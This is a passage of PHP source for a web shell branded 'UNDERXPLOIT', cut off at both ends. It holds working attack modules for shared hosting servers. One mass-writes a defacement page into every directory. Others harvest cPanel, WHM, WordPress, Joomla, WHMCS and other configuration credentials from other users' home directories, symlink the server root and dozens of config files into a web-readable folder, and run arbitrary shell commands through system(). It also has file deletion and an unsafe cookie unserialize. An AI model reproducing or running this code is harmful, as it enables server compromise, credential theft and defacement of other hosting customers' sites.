<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Python</td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>{$python}</td>
</tr>

<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  WGET</td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'>{$wget}</td>
</tr>\xa
<tr class='ex-hov'>\xa    <td class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  CURL</td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>\xa    <td class='td-info'>{$curl}</td>\xa</tr>"; switch (true) { case get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on": print "<tr class='ex-hov'>\xa    <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Magic Quotes </td>\xa    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>\xa    <td><span class='label label-success'>ON</span></tr>"; break; default: print "<tr class='ex-hov'>\xa    <td align='left' class='td-info'><span class='label label-success'><i class='zmdi zmdi-plus zmdi-hc-fw'></i></span>  Magic Quotes </td>
    <td class='td-info' align='center'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></td>
    <td class='td-info'><span class='label label-danger'>OFF</span></td>\xa</tr>"; } print "</table></div>
<div class="coL-panel top">
    <table>\xa        <td class="td-panel">
            <center>
                <div class="loader"></div>
            </center>
        </td>
        <td class="td-panel-right">KERNEL</td>
    </table>
</div>"; print "<div class='coL-option' style='margin-bottom:3px;padding:7px'>" . php_uname() . "</div>"; print "<div class="coL-panel top">\xa    <table>
        <td class="td-panel">\xa            <center>
                <div class="loader"></div>
            </center>
        </td>
        <td class="td-panel-right">DISABLE FUNCTION</td>\xa    </table>\xa</div>"; print "<div class='coL-option wrap break' style='padding:7px'>" . $disfunc . "</div>
</div>"; break; case "infection": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">DIRECTORY INFECTION</td></table></div>"; print "<form action='?" . x7 . "infection&" . x5 . $dir . "' method='post' style='padding:0;margin:0'>"; print "<div class="coL-option">"; print "<table cellspacing='0' cellpadding='3'><td align='left' style='padding:7px;width:60px'>\xaRoot :</td><td><input type='text' name='base_dir' value='" . getcwd() . "'></td></tr>"; print "<tr><td align='left' style='padding:7px;width:60px'>File :</td><td> <input type='text' name='file_name' value='index.php' style='width:100%' placeholder=''></td></tr></table>"; print "</div>"; if (isset($_UNDERXPLOIT["base_dir"])) { switch (true) { case !file_exists($_UNDERXPLOIT["base_dir"]): bacot("Destination not found"); } @chdir($_UNDERXPLOIT["base_dir"]) or die("jembut"); $files = @scandir($_UNDERXPLOIT["base_dir"]) or die("Oh Shit !!<br>"); foreach ($files as $file) { if ($file != "." && $file != ".." && @filetype($file) == "dir") { $index = getcwd() . "/" . $file . "/" . $_UNDERXPLOIT["file_name"]; if (file_put_contents($index, $_UNDERXPLOIT["index"])) { print "
                <div class='coL-option break wrap' style='margin-top:2px;margin-bottom:2px;font-size:14px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span>  {$index} </span></div>"; } } } } else { print "<div id='paksa'><textarea name='index' class='lined'># Hacked By Wildan Izzudin !!</textarea>"; print "<script type="text/javascript">
$(function() {
\x9$(".lined").linedtextarea({selectedLine: 1});\xa}); </script>"; print "<input type='submit' value='INFECT' class='btn-exe' style='width:100%;margin-top:3px'></div>"; } print "</form></div>"; break; case "multihash": echo "<div class="coL-panel"><table>
<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE HASH</td></table></div>"; if ($_UNDERXPLOIT["encrypt"]) { switch ($_UNDERXPLOIT["id"]) { case "1": if (md5($_UNDERXPLOIT["text"])) { echo "<div class='coL-option top'><table style='margin-bottom:3px'>\xa<td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : " . $_UNDERXPLOIT["text"] . "</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : " . md5($_UNDERXPLOIT["text"]) . "</td></table></div>"; } else { error("Permission Denied !!"); } break; case "2": if (crc32($_UNDERXPLOIT["text"])) { echo "<div class='coL-option top'><table style='margin-bottom:3px'>
<td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : " . $_UNDERXPLOIT["text"] . "</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : " . crc32($_UNDERXPLOIT["text"]) . "</td></table></div>"; } else { error("Permission Denied !!"); } break; case "3": if (sha1($_UNDERXPLOIT["text"])) { echo "<div class='coL-option top'><table style='margin-bottom:3px'>\xa<td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Text </td><td class='break'> : " . $_UNDERXPLOIT["text"] . "</td><tr><td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : " . sha1($_UNDERXPLOIT["text"]) . "</td></table></div>"; } else { error("Permission Denied !!"); } break; case "4": echo "<div class='coL-option top'><table style='margin-bottom:3px'>\xa<td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> String </td><td class='break'> : " . $_UNDERXPLOIT["text"] . "</td><tr>\xa<td class='td-md5'
style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Md5 </td><td class='break'> : " . md5($_UNDERXPLOIT["text"]) . "</td><tr>
<td class='td-md5'\xastyle='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Crc32 </td><td class='break'> : " . crc32($_UNDERXPLOIT["text"]) . "</td><tr>
<td class='td-md5' style='width:70px'><span class='label-success'><i class='zmdi zmdi-chevron-right zmdi-hc-fw'></i></span> Sha1 </td><td class='break'> : " . sha1($_UNDERXPLOIT["text"]) . "</td></table></div>"; break; } } echo "<div class='coL-option top'>\xa\x9<form action='?" . x7 . "multihash&" . x5 . $dir . "' method='post'>\xa<table style='width:100%'>
	<td style='width:20%'>Text :</td><td style='width:80%'>
\x9<input type='text' name='text' style='width:100%'>
</td><tr>\xa<td style='width:20%'>Hash :</td><td style='width:80%'><select name='id' style='width:100%'>\xa<option value='1'>Md5</option>
<option value='2'>Crc32</option>
<option value='3'>Sha1</option>\xa<option value='4'>All</option>
</select></td><tr><td style='width:20%'></td><td style='width:80%'>\xa	<input type='submit' value='Create' name='encrypt' class='btn-exe' style='width:100px'></td></table></form></div></div>"; break; case "jumping": echo "<div class="coL-panel"><table>
<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">JUMPING SERVER</td></table></div>"; $i = 0; $s_a = fopen("/etc/passwd", "r"); while ($s_b = fgets($s_a)) { if ($s_b == '' || !$s_a) { bacot("Can't Read [ /etc/passwd ]"); mtr("?" . x5 . $dir); echo x9; } else { preg_match_all("/(.*?):x:/", $s_b, $s_c); foreach ($s_c[1] as $s_d) { $s_e = "/home/{$s_d}/public_html"; if (is_readable($s_e)) { $i++; $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'>  <a href='?dir={$s_e}'><span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> [ {$s_d} ]</a></td>"; switch (true) { case is_writable($s_e): $s_o = "<div class='coL-option'><table class='table-file' cellspacing='0'><td style='width:120px' class='td-file' style='padding:7px'> <span class='label-success'> <i class='zmdi zmdi-folder-outline zmdi-hc-fw'></i> </span> <a href='?dir={$s_e}'><font color='red'>[ {$s_d} ]</font></a></td>"; } echo $s_o; $s_k = file_get_contents("/etc/named.conf"); if ($s_k == '') { bacot("Server Not Found !!"); mtr("?" . x5 . $dir); echo x9; } else { preg_match_all("#/var/named/(.*?).db#", $s_k, $s_v); foreach ($s_v[1] as $s_x) { $s_g = posix_getpwuid(@fileowner("/etc/valiases/{$s_x}")); $s_g = $s_g["name"]; if ($s_g == $s_d) { echo "<td class='td-file elip' style='padding:7px'><a href='http://{$s_x}'>http://{$s_x}</a> </td></table></div>"; break; } } } } } } } switch ($i) { case 0: mtr("? " . x5 . $dir); bacot("Server not found"); print x9; break; default: print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $i . "</button></div></div>"; } break; case "config": $s_t = fopen("/etc/passwd", "r"); $s_z = mkdir("_config", 511); $s_s = "Options all\nRequire None\nSatisfy Any"; $s_d = fopen("_config/.htaccess", "w"); fwrite($s_d, $s_s); while ($s_q = fgets($s_t)) { if ($s_q == '' || !$s_t) { bacot("Can't Read etc/passwd !!"); } else { preg_match_all("/(.*?):x:/", $s_q, $s_y); foreach ($s_y[1] as $s_p) { $s_k = "/home/{$s_p}/public_html/"; if (is_readable($s_k)) { $s_g = array("/home/{$s_p}/.my.cnf" => "cpanel", "/home/{$s_p}/.accesshash" => "WHM-accesshash", "/home/{$s_p}/public_html/bw-configs/config.ini" => "BosWeb", "/home/{$s_p}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$s_p}/public_html/lokomedia/config/koneksi.php" => "Lokomedia", "/home/{$s_p}/public_html/clientarea/configuration.php" => "WHMCS", "/home/{$s_p}/public_html/whm/configuration.php" => "WHMCS", "/home/{$s_p}/public_html/whmcs/configuration.php" => "WHMCS", "/home/{$s_p}/public_html/forum/config.php" => "phpBB", "/home/{$s_p}/public_html/sites/default/settings.php" => "Drupal", "/home/{$s_p}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$s_p}/public_html/app/etc/local.xml" => "Magento", "/home/{$s_p}/public_html/joomla/configuration.php" => "Joomla", "/home/{$s_p}/public_html/configuration.php" => "Joomla", "/home/{$s_p}/public_html/wp/wp-config.php" => "WordPress", "/home/{$s_p}/public_html/wordpress/wp-config.php" => "WordPress", "/home/{$s_p}/public_html/wp-config.php" => "WordPress", "/home/{$s_p}/public_html/admin/config.php" => "OpenCart", "/home/{$s_p}/public_html/slconfig.php" => "Sitelok", "/home/{$s_p}/public_html/application/config/database.php" => "Ellislab"); foreach ($s_g as $s_h => $s_l) { $s_r = file_get_contents($s_h); if ($s_r == '') { print x9; } else { $fcS = fopen("_config/{$s_p}-{$s_l}.txt", "w"); fputs($fcS, $s_r); } } } } } } bacot("Done"); print "<script>c('?" . x5 . $dir . "/_config');</script>"; break; case "cpanel": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CPANEL FINDER</td></table></div>"; function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) { $ar0 = explode($marqueurDebutLien, $text); $ar1 = explode($marqueurFinLien, $ar0[$i]); return trim($ar1[0]); } $d0mains = @file("/etc/named.conf"); switch (true) { case $domains or $d0mains: switch (true) { case scandir("/var/named"): print "<table><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center></th></tr>"; $count = 1; $dc = 0; $list = scandir("/var/named"); foreach ($list as $domain) { switch (true) { case strpos($domain, ".db"): $domain = str_replace(".db", '', $domain); $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain)); $dirz = "/home/" . $owner["name"] . "/.my.cnf"; $path = getcwd(); switch (true) { case is_readable($dirz): copy($dirz, '' . $path . "/" . $owner["name"] . ".txt"); $p = file_get_contents('' . $path . "/" . $owner["name"] . ".txt"); $password = entre2v2($p, "password="", """); print "<tr>\xa<td class='td-file' style='width:150px'><a href='http://" . $domain . ":2082' target='_blank'>" . $domain . "</a></td>
<td class='td-file'><a class='a' href='" . $owner["name"] . ".txt' target='_blank'>OPEN</a></td></tr>"; $dc++; } } } print "</table>"; $total = $dc; print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $total . "</button></div></div>"; break; default: $d0mains = @file("/etc/named.conf"); if ($d0mains) { print "<table><tr><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center> </th></tr>"; $count = 1; $dc = 0; $mck = array(); foreach ($d0mains as $d0main) { switch (true) { case @eregi("zone", $d0main): preg_match_all("#zone "(.*)"#", $d0main, $domain); flush(); switch (true) { case strlen(trim($domain[1][0])) > 2: $mck[] = $domain[1][0]; } } } $mck = array_unique($mck); $usr = array(); $dmn = array(); foreach ($mck as $o) { $files = @posix_getpwuid(fileowner("/etc/valiases/" . $o)); $usr[] = $files["name"]; $dmn[] = $o; } array_multisort($usr, $dmn); $dt = file("/etc/passwd"); $passwd = array(); foreach ($dt as $d) { $r = explode(":", $d); switch (true) { case strpos($r[5], "home"): $passwd[$r[0]] = $r[5]; } } $l = 0; $j = 1; foreach ($usr as $r) { $dirz = "/home/" . $r . "/.my.cnf"; $path = getcwd(); switch (true) { case is_readable($dirz): copy($dirz, $path . "/" . $r . ".txt"); $p = file_get_contents($path . "/" . $r . ".txt"); $password = entre2v2($p, "password="", """); print "<tr>
\x9<td class='td-file'><a target='_blank' href=http://" . $dmn[$j - 1] . "/>" . $dmn[$j - 1] . " </a></td>
	<td class='td-file'><a href='" . $r . ".txt'>OPEN</a> </center></td></tr>"; $dc++; flush(); $l = $l ? 0 : 1; $j++; } } } print "</table>"; $total = $dc; print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $total . "</button></div></div>"; } break; default: mtr("?" . x5 . $dir); bacot("Permission denied"); print x9; } break; case "symlink": print "<div class="coL-panel"><table>\xa<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE SYMLINK</td></table></div>"; switch (true) { case is_readable("/etc/named.conf"): $named = "<a href="?" . x7 . "named.conf&dir=" . $dir . "">OPEN</a>"; break; default: $named = "<font color="red">DISABLED</font>"; } switch (true) { case is_readable("/etc/valiases"): $valiases = "<a href="?" . x7 . "valiases&dir=" . $dir . "">OPEN</a>"; break; default: $valiases = "<font color="red">DISABLED</font>"; } switch (true) { case is_readable("/etc/passwd"): $passwd = "<a href="?" . x7 . "passwd&dir=" . $dir . "">OPEN</a>"; break; default: $passwd = "<font color="red">DISABLED</font>"; } switch (true) { case is_readable("/var/named"): $var = "<a href="?" . x7 . "var&dir=" . $dir . "">OPEN</a>"; break; default: $var = "<font color="red">DISABLED</font>"; } print "<table class="table-file" cellspacing="0">"; print "<th class="th-file">From</th><th class="th-file">Arrow</th><th class="th-file">Action</th>"; print "<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/named.conf ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>" . $named . "</a></center></td>"; print "<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/valiases ]</td><td class="td-file""><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>" . $valiases . "</a></center></td>"; print "<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/passwd ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>" . $passwd . "</a></center></td>"; print "<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /var/named/ ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>" . $var . "</a></center></td>"; print "</table></div>"; @mkdir("pee", 511); @symlink("/", "pee/root"); $htaccss = "Options all \xaDirectoryIndex Sux.html \xaAddType text/plain .php \xaAddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html \xaRequire None \xaSatisfy Any"; file_put_contents("pee/.htaccess", $htaccss); $ms_2 = file_get_contents("/etc/passwd"); $ms_2z = explode("\xa", $ms_2); foreach ($ms_2z as $ms_3) { $ms_1 = explode(":", $ms_3); $ms_4 = posix_getcwd(); $dr = explode("/", $ms_4); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/wp-config.php", "pee/" . $ms_1[0] . "-WordPress.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/blog/wp-config.php", "pee/" . $ms_1[0] . "-WordPress.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/wp/wp-config.php", "pee/" . $ms_1[0] . "-WordPress.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/site/wp-config.php", "pee/" . $ms_1[0] . "-WordPress.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/config.php", "pee/" . $ms_1[0] . "-PhpBB.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/includes/config.php", "pee/" . $ms_1[0] . "-vBulletin.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/configuration.php", "pee/" . $ms_1[0] . "-Joomla.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/web/configuration.php", "pee/" . $ms_1[0] . "-Joomla.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/joomla/configuration.php", "pee/" . $ms_1[0] . "-Joomla.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/site/configuration.php", "pee/" . $ms_1[0] . "-Joomla.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/conf_global.php", "pee/" . $ms_1[0] . "-IPB.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/inc/config.php", "pee/" . $ms_1[0] . "-MyBB.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/Settings.php", "pee/" . $ms_1[0] . "-SMF.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/sites/default/settings.php", "pee/" . $ms_1[0] . "-Drupal.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/e107_config.php", "pee/" . $ms_1[0] . "-e107.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/datas/config.php", "pee/" . $ms_1[0] . "-Seditio.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/includes/configure.php", "pee/" . $ms_1[0] . "-osCommerce.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/client/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/clientes/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/support/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/supportes/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/whmcs/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/domain/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/hosting/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/whmc/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/billing/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/portal/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/order/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/clientarea/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); symlink("/" . $dr[1] . "/" . $ms_1[0] . "/" . $dr[3] . "/domains/configuration.php", "pee/" . $ms_1[0] . "-WHMCS.txt"); } break; case "named.conf": switch (true) { case is_readable("/etc/named.conf"): print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/NAMED.CONF ]</td></table></div>"; print "<table class="table-file" cellspacing="0">\xa\x9		\x9<th class="th-file">Website</th>\xa	\x9	\x9<th class="th-file" style="width:60px">User</th>\xa\x9			<th class="th-file" style="width:60px">Action</th>"; $named = file_get_contents("/etc/named.conf"); preg_match_all("%zone \"(.*)\" {%", $named, $domains); foreach ($domains[1] as $domain) { $domain = trim($domain); $i += 1; $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain)); print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span>  <a href='http://" . $domain . " '>" . $domain . "</a></td><td class='td-file'><center><font color='#1D9D73'>" . $owner["name"] . "</font></center></td><td class='td-file'><center><a href='pee/root" . $owner["dir"] . "/" . $dr[3] . "' target='_blank'>OPEN</a></center></td>"; } print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $i . "</button></div></div>"; break; default: print "<tr><td class='td-file'>can't read [ /etc/named.conf ]</td></tr>"; } break; case "valiases": switch (true) { case is_readable("/etc/valiases"): print "<div class="coL-panel"><table>\xa<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/VALIASES ]</td></table></div>"; print "<table class="table-file" cellspacing="0">\xa\x9			<th class="th-file">Website</th>
		\x9	<th class="th-file" style="width:60px">User</th>
			\x9<th class="th-file" style="width:60px">Action</th>"; $list = scandir("/etc/valiases"); foreach ($list as $domain) { $i += 1; $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain)); print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://" . $domain . "'>" . $domain . "</a></td><center><td class='td-file'><font color='#1D9D73'>" . $owner["name"] . "</font></center></td><td class='td-file'><center><a href='pee/root" . $owner["dir"] . "/" . $dr[3] . "' target='_blank'>OPEN</a></center></td>"; } print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $i . "</button></div></div>"; break; default: print "<tr><td class='td-file'>can't read [ /etc/valiases ]</td></tr>"; } break; case "passwd": $etc = file_get_contents("/etc/passwd"); $etcz = explode("\xa", $etc); switch (true) { case is_readable("/etc/passwd"): print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/PASSWD ]</td></table></div>"; print "<table class="table-file">
\x9		\x9<th class="th-file">Website</th>\xa\x9	\x9	<th class="th-file" style="width:60px">User</th>
\x9		\x9<th class="th-file" style="width:60px">Action</th>"; $list = scandir("/var/named"); foreach ($etcz as $etz) { $etcc = explode(":", $etz); foreach ($list as $domain) { switch (true) { case strpos($domain, ".db"): $domain = str_replace(".db", '', $domain); $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain)); switch (true) { case $owner["name"] == $etcc[0]: $i += 1; print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://" . $domain . " '>" . $domain . "</a></td>\xa<td class='td-file'><center><font color='#1D9D73'>" . $owner["name"] . "</font></center></td>\xa<td class='td-file'><center><a href='pee/root" . $owner["dir"] . "/" . $dr[3] . "' target='_blank'>OPEN</a></center></td>"; } } } } print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $i . "</button></div></div>"; } break; case "var": switch (true) { case is_readable("/var/named"): print "<div class="coL-panel"><table>\xa<td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ VAR/NAMED ]</td></table></div>"; print "<table class="table-file">
	\x9		<th class="th-file">Website</th>\xa		\x9\x9<th class="th-file" style="width:60px">User</th>
\x9\x9	\x9<th class="th-file" style="width:60px">Action</th>"; $ms_5 = scandir("/var/named"); foreach ($ms_5 as $ms_6) { switch (true) { case strpos($ms_6, ".db"): $i += 1; $ms_6 = str_replace(".db", '', $ms_6); $owner = posix_getpwuid(fileowner("/etc/valiases/" . $ms_6)); print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://" . $ms_6 . " '>" . $ms_6 . "</a></td>\xa<td class='td-file'><center><font color='#1D9D73'>" . $owner["name"] . "</font></center></td>
<td class='td-file'><center><a href='pee/root" . $owner["dir"] . "/" . $dr[3] . "' target='_blank'>OPEN</a></center></td>"; } } print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>" . $i . "</button></div></div>"; break; default: print "<tr><td class='td-file'>can't read [ /var/named ]</td></table>"; } break; case "cmd": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CONSOLE</td></table></div>"; print "<div class="coL-option">"; print "<pre style="font-family: Play;min-height:200px;font-size:14px;padding:7px" class="label-success">"; if (isset($_UNDERXPLOIT["cmd"]) && $_UNDERXPLOIT["cmd"] != '') { $exec = jmbt(system($_UNDERXPLOIT["cmd"] . " 2>&1")); switch ($exec) { case NULL: header("location: ?" . x5 . $dir); break; default: } } print "</pre>\xa<script type="text/javascript"> function gp() {
\x9if(document.getElementById("csl").value == ""){"; s("Enter your command"); print "return false;\xa\x9} document.getElementById("egv").submit();\xa} </script>
<table style="margin-top:7px" cellspacing="0"><form method="POST" action="?" . x7 . "cmd&" . x5 . $dir . "">\xa\x9<td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>\xa\x9<td style="width:70%;padding-left:3px;padding-right:3px"><input type="text" placeholder="$" name="cmd" id="csl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="gp(); return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>\xa	</table></div></div>"; break; case "error": print "<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>"; bacot("Permission denied"); print x9; break; default: $ddir = @getcwd(); if (isset($_UNDERXPLOIT["from"])) { @chdir($_UNDERXPLOIT["from"]); } $cwd = @getcwd(); switch ($os) { case "win": $ddir = str_replace("\", "/", $ddir); $cwd = str_replace("\", "/", $cwd); break; } if ($cwd[strlen($cwd) - 1] != "/") { $cwd .= "/"; } function hs($str) { switch (true) { case function_exists("scandir"): return scandir($str); break; default: $cdm = opendir($str); while (false !== ($filename = readdir($cdm))) { $data[] = $filename; } return $data; } } if (!empty($_COOKIE["target"])) { $_COOKIE["target"] = @unserialize($_COOKIE["target"]); } if (!empty($_UNDERXPLOIT["hcx"])) { switch ($_UNDERXPLOIT["hcx"]) { case "delete": function deleteDir($path) { $path = substr($path, -1) == "/" ? $path : $path . "/"; $cdm = opendir($path); while (($ = readdir($cdm)) !== false) { $ = $path . $; if (basename($) == ".." || basename($) == ".") { continue; } $type = filetype($); if ($type == "dir") { deleteDir($); } else { @unlink($); } } closedir($cdm); @rmdir($path); } if (is_array(@$_UNDERXPLOIT["target"])) { foreach ($_UNDERXPLOIT["target"] as $f) { if ($f == "..") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "paste": if ($_COOKIE["act"] == "copy") { function copas($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copas($c . $s . "/", $f, $d . $s . "/"); } } } else { if (is_file($c . $s)) { @copy($c . $s, $d . $s); } } } foreach ($_COOKIE["target"] as $f) { copas($_COOKIE["from"], $f, $GLOBALS["cwd"]); } } elseif ($_COOKIE["act"] == "move") { function mopas($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copas($c . $s . "/", $f, $d . $s . "/"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["target"] as $f) { @rename($_COOKIE["from"] . $f, $GLOBALS["cwd"] . $f); } } elseif ($_COOKIE["act"] == "zip") { if (class_exists("ZipArchive")) { $zip = new ZipArchive(); if ($zip->open($_UNDERXPLOIT["xpoz"], 1)) { 